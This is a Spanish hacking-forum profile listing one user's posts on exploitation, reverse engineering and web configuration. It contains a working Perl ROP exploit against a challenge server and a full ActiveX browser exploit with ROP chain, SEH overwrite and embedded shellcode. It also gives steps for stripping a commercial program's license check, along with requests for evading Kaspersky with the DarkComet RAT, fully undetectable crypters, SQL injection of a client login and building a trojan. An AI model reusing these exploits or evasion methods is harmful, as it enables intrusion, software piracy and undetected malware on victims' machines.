Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - .:UND3R:.

#46
Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:

- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]


Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:

- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack


Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código (perl) [Seleccionar]
# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language         = Spanish
# Required DLL     = kernel32.dll | RPCRT4.dll
# Author           = UND3R

use strict;
use Socket;
my $junk = "\x41" x 64;
my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN

my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 6666;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload (size = " . length($exploit) . ") \n";
print SOCKET $exploit."\n";

print "[+] Payload sent\n";
close SOCKET or die "close: $!";


- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):


PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D
#47
Unpack .NET Reactor + Crack
Iniciamos la aplicación y vemos la siguiente nag:


Si revisamos con RDG Packer detector en busca de información del ejecutable, obtenemos los siguiente:


por lo cual debemos enfrentarnos al packer para luego intentar crackear la aplicación, para desempaquetar .NET Reactor utilizaremos de4dot:


Intentamos localizar algún método sospechoso y encontramos "checkLic" el cual retorna true si existe licencia o false en caso contrario. Sabiendo eso buscamos en que lugar es usado el método y obtenemos lo siguiente:

MainFrm_Load()

Código (csharp) [Seleccionar]
}
       if (Class9.checkLic())
       {
           if (Operators.CompareString(Class9.string_3, "Basic Edition", false) == 0)
           {
               this.opt_MusicDuplicates.Enabled = false;
               this.opt_PatternDuplicates.Enabled = false;
               this.opt_MusicDuplicates.Values.ExtraText = "Not Available In Basic Edition";
               this.opt_PatternDuplicates.Values.ExtraText = "Not Available In Basic Edition";
               this.m_Activate.Text = "Activate Upgrade";
               this.m_BuyNow.Text = "Upgrade to Pro Edition";
           }
           else
           {
               this.m_Activate.Visible = false;
               this.m_BuyNow.Visible = false;
           }


Por lo cual si el método checkLic retornará siempre true gracias a la composición de las condiciones activaríamos el software en la versión Pro Edition. Ahora si modificamos checkLic (en realidad si realizamos cualquier modificación con SAE o Reflexil) obtenemos el siguiente mensaje de error:



Por lo cual me vi obligado a modificar los op code de forma manual (editor hexadecimal), para ello con IDA localicé el offset del método checkLic y me arrojó que era: 0x21DC8 tras dirigirme al inicio del método, este debía retornar siempre true:

MSIL
L_004C516E:   ldc.i4.1 (OP CODES = 17)
L_004C516F:   ret (OP CODES = 2A)


por lo que en resumen si modificamos los primeros dos bytes del offset 0x21DC8 por 0x17 0x2A (172A) con un editor hexadecimal y guardamos los cambios, al iniciar el ejecutable obtendremos lo siguiente:
#48
Nivel Web / ISQL Oracle
6 Diciembre 2014, 16:26 PM
Hola a todos testeando la seguridad web de un cliente estoy intentando obtener el tamaño de la password de un usuario, la idea para ingresar sin password es así:
CitarSELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Descifré los nombres de los campos Username y Password, intento algo más menos así:
Username='1' OR LENGTH(Password) = '7

Pero no logro nada, a ver si me guían
PD: Análisis de caja negra, no puedo solicitar datos sensibles al cliente
#49
Dudas Generales / Duda con Zoho email
4 Diciembre 2014, 21:21 PM
Hola a todos, ando algo verde con ZOHO a ver si alguien me logra ayudar:
- Lo que quiero hacer es realizar una redirección, me explico cuando se envié un correo a:

loquesea@mipagina.net se envie a correovalido@mipagina.net

Saludos
#51
Hacking / [MSF] Duda DHCP + Fake DNS + Applet Java
18 Septiembre 2014, 17:48 PM
Bajo metasploit utilizando los módulos auxiliares axuliary/server/dhcp y axuliary/server/fakedns estoy intentando re-dirigir el flujo pero mi duda surge en como que el cliente en la red utiliza mi DHCP server y mi fake DNS a ver si me aclaran la duda.

En cuanto a Applet de Java me da igual ya que redireccionado sé que podré ejecutar lo que desee en el navegador.

PD: Sin alternativas, MITM entre otras que estoy trabajando bajo Metasploit
#52
Hacking / MBSA y Metasploit
17 Septiembre 2014, 20:41 PM
Hola a todos, he visto que se pueden importar los datos de Microsoft Baseline Security Analyzer (MSBA) en Metasploit, el problema que tengo es que no sé como almacenar la salida de mbsacli.exe en un archivo .xml para luego importarlo a Metasploit, a ver si alguien sabe, yo lo hago así pero no funciona

msbacli.exe /target 192.168.0.103 /o salida.xml

a ver si me ayudan


Saludos
#55
Diariamente tanto usuarios como moderadores nos cansamos de releer las mismas preguntas comunes que muchos usuarios nuevos plantean, siendo estas preguntas que no cumplen con las reglas del foro o simplemente son preguntas que no se pueden responder. A través de este post me he decidido a recopilar alguna de las tantas preguntas monótonas que nunca deberías hacer.

Citar¿Como hackeo una pagina web?
ya se todo sobre lenguaje ensamblador y htlm pero no paso de hay
se que entre el usuaruo(yo) y el servidor(pagina web) hay un puente,pero no se como influir en ese puente para manipular la pagina web y cumplir con mi objetivo.

hay algo que no se o me estoy perdiendo,que tutoriales me recomiendan.

Citar¿Para hackear facebook o google?
hay que tener contactos que trabajen alla o yo en mi casa con una computadora normal puedo hacekarlos.

CitarENSEÑENME COSAS NOOBS UTILES SOY NUEVO.
¡ Hola ! Cualquier cosa que me podais enseñar sobre hacking enseñadme!

CitarHola buenas necesito ayuda para crear este progrma en c# muchas gracias
   Ejercicio
Se necesita desarrollar un sistema de inscripción de estudiantes a cursos. El sistema deberá solicitar la cantidad de cursos disponibles y la cantidad máxima de estudiantes a inscribir a los cursos, es decir podemos tener una cantidad n de cursos y cada uno de esos n tendrá el mismo máximo de estudiantes m  
Cursos
4 cursos
 Inscripciones  Cada fila representa un curso de m estudiantes
10 alumnos por curso

El programa debe tener las siguientes funcionalidades:  ....

CitarHELP Como hackear un foroactivo
Es posible hackear un foroactivo  esque me hackearon el mio hay algun tutorial

CitarComo tirar,tumbar,hackear...Páginas Web?
Hola,me gustaría saber como tumbar una Página Web,más que nada por probar.
Me bastaría con que me pongais el link de algún programa útil y como usarlo ^^

Citar¿podrían mínimo decirme por que eliminan mis temas?
¿podrían mínimo decirme por que eliminan mis temas? De esta manera como entenderé para los próximos?. Creo yo que no existe una razón totalmente fuerte como para eliminar mi tema por todo lo que tenía... mi tema era este:

CitarMOODLE ,QUIEN SABE? PAGO ALTO
QUIEN SABE CAMBIAR LAS NOTAS DE MOODLE-CAMPUS VIRTUAL?

Alguien conoce más?, saludos

#56
con qué API de VB o nativa de Windows puedo desconectar una unidad extraíble?

Saludos
#58
ASM / Problema winexec y rmdir MASM
26 Mayo 2014, 03:37 AM
Tengo el siguiente código:
Código (asm) [Seleccionar]
TITLE  start

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib

.const

.data
comand byte "rmdir /S /Q hola",0
.data?

.code
main PROC
   invoke WinExec,addr comand,SW_SHOW
   invoke ExitProcess,0
main ENDP
END main


Intento eliminar la carpeta hola, pero siempre me muestra que ERROR_FILE_NOT_FOUND, alguna sugerencia?

EDIT ni con:
comand byte "cd C:\RadASM\Masm\Projects\start & rmdir /S /Q hola",0

Saludos :)



He buscado una alternativa para eliminar la carpeta con contenido:
Código (asm) [Seleccionar]
TITLE  start

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\shell32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\shell32.lib

.const

.data
pFrom byte "hola",0
lpFileOp SHFILEOPSTRUCT <NULL,FO_DELETE,offset pFrom,NULL,FOF_NOCONFIRMATION,FALSE,NULL,NULL>

.code
main PROC
    invoke SHFileOperation,addr lpFileOp
    invoke ExitProcess,0
main ENDP
END main


Aunque sea una mejor técnica me gustaría saber de todas maneras como solucionar el problema :)
#59
Ingeniería Inversa / Duda Nanomite Debugger
18 Mayo 2014, 02:07 AM
Hola a todos, hace poco Gh057 me dio un link hacia un post en donde se hablaba de tal debugger, me surge algunas dudas:
1) ¿Que tan bueno eso?, personalmente lo veo como una especie de OllyDbg con múltiples opciones. ¿Sería el más decente en su especie?

2) Dentro de la carpeta Win32 & x86 se encuentran las carpetas Debug, para que son?

A ver si me orientan, saludos :)
#60
Hola a todos, llevo días intentando ocultar la barra de explorer.exe, lo que ocurre es que necesito arrancar Windows 7 x64 bits con explorer.exe (ya que es requerido por otro proceso para su funcionamiento) sin que este se muestre en ninguna circunstancia. Si se ocultan los archivos del escritorio incluyendo la papelera lo único que deja a descubierto la existencia de explorer (si hablamos de visual) sería la barra inferior o taskbar he probado:
- Minimizar la barra taskbar automáticamente (aun así se logra visualizar una pequeña franja en la pantalla lo cual no cumple con mi objetivo).
- Utilizar programas externos que ocultan taskbar (no sirve ya que en el proceso de arrancado como primero se ejecuta explorer.exe se logra ver la barra inferior aunque luego desaparece)
- Modificar con depurador x64 explorer.exe (no logro encontrar nada, el depurador es muy malo en comparación a OllyDbg como para tracear con calma).

No sé si se entiende lo que me gustaría hacer:
- Arrancar Windows
- Arrancar Explorer.exe de forma oculta (visual) para que otro proceso funcione.
- Suprimir Explorer.exe

Todos los pasos salen a la perfección menos la de ocultar explorer.exe

a ver si me guían, saludos.
#61
Pues eso, que consejos me dan para evadir kaspersky, más que nada el análisis heurístico, ya que logro analizar estáticamente el ejecutable y este no es detectado, pero al iniciar es suprimido.

PD: DarkCommet


Saludos
#62
Hola a todos, durante estos días he estado buscando crypter de pago, lamentablemente me llevé una mala sorpresa con uno de pago, no daré nombres por respeto al autor. Ya que no quiero repetir lo sucedido me gustaría saber si ustedes conocen algún crypter que sea fud con DarkComet, a ver si me logran ayudar.

Saludos y buenas noches
#63
Desarrollo Web / Duda .httacess
11 Marzo 2014, 18:29 PM
Hola a todos, tengo un httacces de la siguiente forma:
Código (apache) [Seleccionar]
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}


Como podrán ver fuerza las conexiones https pero me gustaría filtrar algunas web, me explico que fuerce todas las conexiones menos cuando http host es www.tienda.com, es que tengo muchos dominios y no todos tienen SSL, saludos y gracias.
#64
Bugs y Exploits / [Aporte]Resumen corelan
8 Marzo 2014, 18:22 PM
Adjunto un resumen que hice sobe la serie de tutoriales de CorelanC0d3r, espero que les guste, saludos:
http://www.mediafire.com/view/bpnb1dydndno2p1/Exploit_en_Windows.pdf
#65
Hola a todos, llego con una nueva duda a ver si me logran aclarar:
cual es la diferencia de estos tres entiendo que ANSI se utiliza por ejemplo en
MessageBoxA y Unicode en MessageBoxW, en mis apuntes tengo lo siguiente:

ASCII: Conjunto de caracteres de 7 bits (anteriormente solían ser 8, pero se optó por eliminar un bit llamado "bit de paridad".
ANSI: Conjunto de caracteres de 8 bits.
UNICODE: Este conjunto de caracteres posee tres formatos de codificación:
•   UTF-8: Utilizado en HTML, tiene los mismo valores de bytes que ASCII.
•   UTF-16: Conjunto de caracteres de 16 bits (Windows utiliza esta codificación).
•   UTF-32: Conjunto de caracteres de 32 bits.

Ahora mi duda ANSI?? no entiendo que es exactamente ya que lo veo idéntico a Ascii y en cuanto al apunte de UTF-16 se refiere al Unicode de windows verdad?, a ver si me aclaran todo esto que me terminé enredando, saludos.
#66
Hola a todos tengo el siguiente código pero no logro hacer que quede en líneas diferentes, a ver si me guían, saludos (es exactamente en payload):

Código (vb) [Seleccionar]
<html>
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target'></object>
<script language='vbscript'>
junk1 = String(72, "A")
junk2 = String(3184, "B")
junk3 = String(25000, "C")

nop1 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop2 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop3 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop4 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop5 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop6 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop7 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop = nop1 + nop2 + nop3 + nop4 + nop5 + nop6 + nop7

rop1 = unescape("%33%b6%44%06") ' SSHelper.dll | POP EBP / RETN
rop2 = unescape("%10%c0%1f%06") ' SSHelper.dll
rop3 = unescape("%65%b9%47%06") ' SSHelper.dll | MOV EDX,EBP / POP EDI / POP ESI / POP EBP / POP EBX / POP ECX / RETN
rop4 = unescape("%51%a5%45%06") ' SSHelper.dll | CALL EAX
rop5 = unescape("%ff%ff%ff%ff") ' 0xFFFFFFFF
rop6 = unescape("%6c%c4%24%23") ' 0x2324C46C
rop7 = unescape("%49%cc%ba%f9") ' 0xF9BACC49
rop8 = unescape("%aa%aa%aa%aa") ' 0xAAAAAAAA
rop9 = unescape("%6b%28%44%06") ' SSHelper.dll | XCHG EAX,EBP / RETN
rop10 = unescape("%ff%4b%46%06") ' SSHelper.dll | ADD EAX,0x595B5E5F / RETN
rop11 = unescape("%6b%28%44%06") ' SSHelper.dll | XCHG EAX,EBP / RETN
rop12 = unescape("%0e%37%45%06") ' SSHelper.dll | MOV EAX,0x64536B7 / RETN
rop13 = unescape("%d9%c4%47%06") ' SSHelper.dll | ADD EBX,EAX / PUSH 0x1 / POP EAX / RETN
rop14 = unescape("%05%67%47%06") ' SSHelper.dll | POP EAX / RETN
rop15 = unescape("%b0%c3%24%23") ' 0x2324C3B0
rop16 = unescape("%ff%4b%46%06") ' SSHelper.dll | ADD EAX,0x595B5E5F / RETN
rop17 = unescape("%71%03%4a%06") ' SSHelper.dll | PUSHAD / ADD AL,0x0 / RETN
ROPgadgets = nop + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8 + rop9 + rop10 + rop11 + rop12 + rop13 + rop14 + rop15 + rop16 + rop17

SEH = unescape("%13%16%47%06") ' SSHelper.dll | ADD ESP,0x46C

payload =unescape(
"%fc%e8%89%00%00%00%60%89%e5%31%d2%64%8b%52" & _
"%30%8b%52%0c%8b%52%14%8b%72%28%0f%b7%4a%26" & _
"%31%ff%31%c0%ac%3c%61%7c%02%2c%20%c1%cf%0d" & _
"%01%c7%e2%f0%52%57%8b%52%10%8b%42%3c%01%d0" & _
"%8b%40%78%85%c0%74%4a%01%d0%50%8b%48%18%8b" & _
"%58%20%01%d3%e3%3c%49%8b%34%8b%01%d6%31%ff" & _
"%31%c0%ac%c1%cf%0d%01%c7%38%e0%75%f4%03%7d" & _
"%f8%3b%7d%24%75%e2%58%8b%58%24%01%d3%66%8b" & _
"%0c%4b%8b%58%1c%01%d3%8b%04%8b%01%d0%89%44" & _
"%24%24%5b%5b%61%59%5a%51%ff%e0%58%5f%5a%8b" & _
"%12%eb%86%5d%6a%01%8d%85%b9%00%00%00%50%68" & _
"%31%8b%6f%87%ff%d5%bb%f0%b5%a2%56%68%a6%95" & _
"%bd%9d%ff%d5%3c%06%7c%0a%80%fb%e0%75%05%bb" & _
"%47%13%72%6f%6a%00%53%ff%d5%63%61%6c%63%2e" & _
"%65%78%65%00")

arg1 = 1
arg2 = 1
arg3 = junk1 + ROPgadgets + junk2 + SEH + payload + junk3
arg4 = "defaultV"
arg5 = "defaultV"
target.SetRegString arg1, arg2, arg3, arg4, arg5
</script>
</html>
#67
Parece gran cosa, pero no hace mucho les comento:
- Re-leyendo los tutoriales de corelan siempre me molestó la parte de utilizar esta herramienta ya que presentaba algunos problemas, en donde corelan propuso como solución modificar el código asm el buscador de huevos (omelet_shellcode), el problema ocurre que esta modificación se debía hacer dependiendo de la cantidad de huevos por lo que se me ocurrió por así decir hacer un omelet_shellcode genérico y en base a la cantidad de huevos que se generarán con w32_SEH_omelet.py adaptará el código de salida.

pasos anteriores a la modificación:
1.- ensamblar a binario con nasm w32_SEH_omelet.asm
2.- ejecutar la secuencia w32_SEH_omelet.py w32_SEH_omelet.bin payload.bin output.txt [egg size]
3.- de acuerdo a la cantidad de huevos generados modificar la constante egg_size ubicada dentro de w32_SEH_omelet.asm y volver al paso 1
4.- revisar si el manejador SEH del omelet controla las excepciones al buscar en memoria, en caso contrario modificar EDI para que apunte a una dirección válida a buscar.

pasos con el fixed:
1.- w32_SEH_omelet.py w32_SEH_omelet.bin payload.bin output.txt [egg size]
2.- revisar si el manejador SEH del omelet controla las excepciones al buscar en memoria, en caso contrario modificar EDI para que apunte a una dirección válida a buscar.

No es gran cosa, pero nada mejor que no tener que estar ensamblando cada vez que estemos armando un omelet.

Descarga:
http://www.mediafire.com/download/q5c0gbi55x91cv2/w32+SEH+omelet+shellcode+v0.2+fixed+by+UND3R.rar
#68
Como logro convertir un hex a ascii desde este debugger a través de línea de comando?, saludos y gracias
#69
Me explico, al momento inyectar un payload en memoria, en algunas vulnerabilidades queda incompleto, por lo cual debo comparar byte por byte, algo muy tedioso, ¿De qué manera se puede verificar un payload en memoria?

Saludos y gracias
#70
Ingeniería Inversa / Feliz San Valentín
14 Febrero 2014, 20:34 PM
Quería desearles a cada uno de ustedes un feliz y lindo San Valentín. Este subforo ya dejo hace tiempo de ser un subforo más, se ha formado una gran familia de sabios, eruditos, colaboradores, aprendices, interesados y visitantes. Cada participante de esta familia hace día a día lo que este subforo es, una fuente de ayuda y de entretención que lo convierte en algo mágico.





;-)
#71
Java / Duda con threads o hilos
14 Febrero 2014, 17:30 PM
Hola a todos, tengo unas par de dudas que se basan en hilos, intentaré detallar un poco para ver si me pueden orientar:

Pretendo crear una gran cantidad de hilos los cuales pretendo enviar un parámetro de acuerdo a una cierta condición (condición anexa a los hilos), el problema de todo esto es que no sé como administrar múltiples hilos y como referirme a uno en específico y enviando un parámetro para que opere con el

a ver si me pueden orientar, estaría muy feliz, gracias
#72
Hola a todos tengo una duda, como podría administrar múltiples clientes, me baso en la idea de Poison Ivy, Bifrost, entre otros rat.

Mi idea es crear un thread por cada conexión recibida y asignar un especie de identificador único y ese mismo identificador agregarlo a una tabla. Ahora cuando quiera realizar una acción en un servidor específico ¿cómo lo haría?

No existe alguna guía en donde se estructure la administración de conexiones?, saludos y gracias
#73
Ingeniería Inversa / Reto crack Keylogger
5 Febrero 2014, 16:38 PM
Hola a todos, bueno exactamente este no es un reto de crackmes y o cosas por el estilo. Me explico, siempre me interesó este Keylogger (local) que se puede descargar en el siguiente link:

http://www.familykeylogger.com/

Me gustaba mucho su simple uso y simplicidad de instalación. Al momento en que lo intenté crackear hice los pasos típicos:
- OllyDbg
- Referencias de texto

No encontré absolutamente nada (buscaba "Key Invalid!")
Tras al arrancarlo si aparecía la string y un simple salto encargado de la validación del Keylogger.

Tras reiniciar me llevé una sorpresa muy divertida, lo encontré tan divertido que debo invitarlos a crackearlo. Logré crackearlo gracias a un tutorial de Karmany que leí tiempo atrás.

Si alguien quiere la solución por favor me envían un MP, saludos.

PD: Lo que no logro entender es como este programa me crashea en dos circunstancia OllyDbg si alguien me dice como lo hace, se lo agradecería.
#74
Hola a todos, me gustaría saber cual es la última versión de SAE y en donde puedo encontrarla (fuente confiable). Al ingresar a SAE me muestra que poseo la versión 1.14.2.0 y que actualmente existe la versión 1.14.4.0 pero no logro encontrarla, ¿Será un error a causa de la caída source google?. Saludos

EDIT:

Acabo de descubrir ILSpy, encontré una excelente herramienta muy similar a SAE pero sin la posibilidad de editar instrucciones, ¿Existirá algún plugins o función que permita la edición de código?
#75
Dudas Generales / Duda con .httaccess
20 Enero 2014, 03:41 AM
Hola a todos, tengo una duda con respecto a forzar https sin www, tengo lo siguiente:
- página www.ex.com
- compré un certificado SSL para el dominio ex.com por lo cual debo hacer lo siguiente:

Forzar que todas las peticiones hacia mi página sean sin www y que fuerce el https. Lo he hecho de la siguiente forma:

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://ex.com/$1 [R,L]

Ahora los resultados:
- si ingreso www.ex.com me lleva a https://ex.com (correcto)
- si ingreso http://www.ex.com me lleva a https://ex.com (correcto)
- si ingreso https://ex.com me lleva a https://ex.com (correcto)

pero si ingreso https://www.ex.com me muestra un error de certificado, ¿Cómo soluciono esto?, la idea principal sería forzar https://www sin https, pero no sè como hacerlo

gracias
#76
¿Alguien sabe a donde encontrar una lista detalla de instrucciones CIL?

Encontré estas:
http://en.wikipedia.org/wiki/List_of_CIL_instructions

http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-335.pdf

Saludos

PD: CIL o MSIL ?

#77
Seguridad / ¿Que certificado de seguridad elegir?
17 Diciembre 2013, 14:36 PM
Hola a todos, estoy interesado en tomar un curso:
https://www.dreamlab.net/es/cursos/cursos-actuales/

Mi pregunta es cual me recomiendan ustedes y cual se asimila ataques a servidores, seguridad en software, malware, etc. No conozco el enfoque de estos cursos, saludos.
#78
Criptografía / Iniciar en criptografía
13 Diciembre 2013, 02:33 AM
Hola a todos, bueno llevo un tiempo en el área de la informática pero cada vez que ando entre un tema u otro termino tropezando con la criptografía, me gustaría saber si ustedes conocen algún tutorial desde cero o algún libro preferentemente en español en donde se enseñe lo básico, saludos.
#79
Análisis y Diseño de Malware / Un troyano más
29 Noviembre 2013, 02:51 AM
Hola a todos me interesaría crear un troyano, pero mi duda es en qué lenguaje?
Una vez estaba desarrollando uno completamente en MASM tanto cliente como servidor, pero el avance era muy lento, pero ahora que indago en java me interesaría crearlo el cliente y el servidor en Java, ¿Qué piensan ustedes de trabajar en este lenguaje?, obviemos que se requiere tener instalado Java y que sería multiplataforma,  saludos.
#80
Ingeniería Inversa / Duda con .NET
28 Noviembre 2013, 16:39 PM
Hola a todos, me surge la siguiente duda si hablamos de .NET nos referimos a todos aquellos programas que utilizan la librería (API) Net framework, esto quiero decir que tanto Visual Basic .NET y Visual C# al utilizan esta librerbía, si es así aquí va mi pregunta:

¿Mdbg.exe Ildasm, Reflector, SAE, deberían ser capaces de mostrarme las instrucciones MSIL (Microsoft intermediate lenguaje)?

Gracias
#81
Java / Orden de regex en java
26 Noviembre 2013, 21:34 PM
¿Cómo puedo elegir el orden de cada regex entre "|"?:

Código (java) [Seleccionar]
str = str.replaceAll("^\\-|[^0-9\\-]|\\-$", "");

Saludos
#82
Java / [Solucionado]Duda con regex
25 Noviembre 2013, 21:18 PM
Qué expresión regular debería filtrar una string para que me queden solo números y guiones de la siguiente forma:
00-123-456-789 o 00123456789

pero no esto:
00-123--457-789
-00-123-456-789-
-00123456789-
00-123-456-789-

Solo números y guiones, estos no deberían repetirse ni estar en los extremos

Código (java) [Seleccionar]
       String regex = ?????????
       String test = "123asd--asd-12312-asd-11-1333-122";
       System.out.println(test.replaceAll(regex, test));


Gracias
#83
Java / Trabajar con valores hexadecimales
22 Noviembre 2013, 16:55 PM
¿Cómo podría trabajar con valores hexadecimales?, no me refiero a mostrarlos en formato hexadecimal, me explico

quiero sumar dos números hexadecimales, si ambos son mayores que 0FF entonces tomo elimino el primer dígito y lo adiciono al principio, de esta forma:

83+AB = 12E

cómo hay 3 dígitos debería quitar el 1 y adicionarlo al último, quedando:

2F

por eso no me sirve la representación, si no más bien la interpretación de los datos

Saludos
#84
Ingeniería Inversa / Invitación exetools
18 Noviembre 2013, 03:37 AM
¿Alguien podría enviar una invitación para exetools?. Cada cierto tiempo veo archivos adjuntos que considero de utilidad, pero no puedo bajarlo   :-\
#85
Ingeniería Inversa / Duda con vbaStrVarVal
17 Noviembre 2013, 05:08 AM
¿Que hace exactamente vbaStrVarVal?, sería ideal si me dan un ejemplo, tengo esto:

vbaStrVarVal
uno de sus argumentos apunta a:
08 00 43 00
y otro con cero, me retorna:

72

Saludos
#86
Ingeniería Inversa / Función inversa de __vbaI4var
16 Noviembre 2013, 00:08 AM
Si en VB se utiliza esta función como proceso de algoritmo de serial, cual sería su inversa?, saludos.

EDIT:

Suma 44h(D) + 29h = __vbaI4var(6D) --->  6Dh
Suma 45h(E) + E7h = __vbaI4var(12C) --->  2Dh
Suma 46h(F) + B5h = __vbaI4var(FB) --->  FBh
Suma 47h(G) + BCh = __vbaI4var(103) --->  4h
/////////////////////////////////
Suma 6Dh(m) + 29h = __vbaI4var(96) --->  96h
Suma 2Dh(-) + E7h = __vbaI4var(114) --->  15h
Suma FBh(û) + B5h = __vbaI4var(1B0) --->  B1h
Suma 4h() + BCh = __vbaI4var(C0) --->  C0h


Cómo sería la operación inversa?

se partiría de C0h, B1h, 15h, 96h. luego se usa el inverso de __vbaI4var() y se resta con BCh, B5h,E7h,29h respectivamente.

Por eso quedo atascado con __vbaI4var(), saludos.

EDIT2: Creo que lo puedo detectar si me da como resultado negativo.
#87
Hola a todos, ya ando algo oxidado con visual basic, a ver si alguien me logra dar una mano. Estoy intentando localizar en que lugar se llama una función (esta no es llamada durante el proceso de depuración, pero si sé que se debe llamar una vez cumplida ciertas condiciones), llego a esta típica tabla de saltos:

Código (asm) [Seleccionar]
00409411   .  816C24 04 6B0>SUB DWORD PTR SS:[ESP+0x4],0x6B
00409419   .  E9 82870100   JMP N_Regist.00421BA0
0040941E   .  816C24 04 A70>SUB DWORD PTR SS:[ESP+0x4],0x1A7
00409426   .  E9 B5880100   JMP N_Regist.00421CE0
0040942B   .  816C24 04 FFF>SUB DWORD PTR SS:[ESP+0x4],0xFFFF
00409433   .  E9 58890100   JMP N_Regist.00421D90
00409438   .  816C24 04 670>SUB DWORD PTR SS:[ESP+0x4],0x67
00409440   .  E9 FB8A0100   JMP N_Regist.00421F40
00409445   .  816C24 04 2B0>SUB DWORD PTR SS:[ESP+0x4],0x12B
0040944D   .  E9 6E8C0100   JMP N_Regist.004220C0
00409452   .  816C24 04 FFF>SUB DWORD PTR SS:[ESP+0x4],0xFFFF
0040945A   .  E9 A18D0100   JMP N_Regist.00422200
0040945F   .  816C24 04 FFF>SUB DWORD PTR SS:[ESP+0x4],0xFFFF
00409467   .  E9 54930100   JMP N_Regist.004227C0
0040946C   .  816C24 04 270>SUB DWORD PTR SS:[ESP+0x4],0x127
00409474   .  E9 779A0100   JMP N_Regist.00422EF0
00409479   .  816C24 04 8B0>SUB DWORD PTR SS:[ESP+0x4],0x18B
00409481   .  E9 DA9A0100   JMP N_Regist.00422F60
00409486   .  816C24 04 170>SUB DWORD PTR SS:[ESP+0x4],0x117
0040948E   .  E9 0D9C0100   JMP N_Regist.004230A0
00409493   .  816C24 04 930>SUB DWORD PTR SS:[ESP+0x4],0x93
0040949B   .  E9 909C0100   JMP N_Regist.00423130
004094A0   .  816C24 04 8F0>SUB DWORD PTR SS:[ESP+0x4],0x8F
004094A8   .  E9 539E0100   JMP N_Regist.00423300
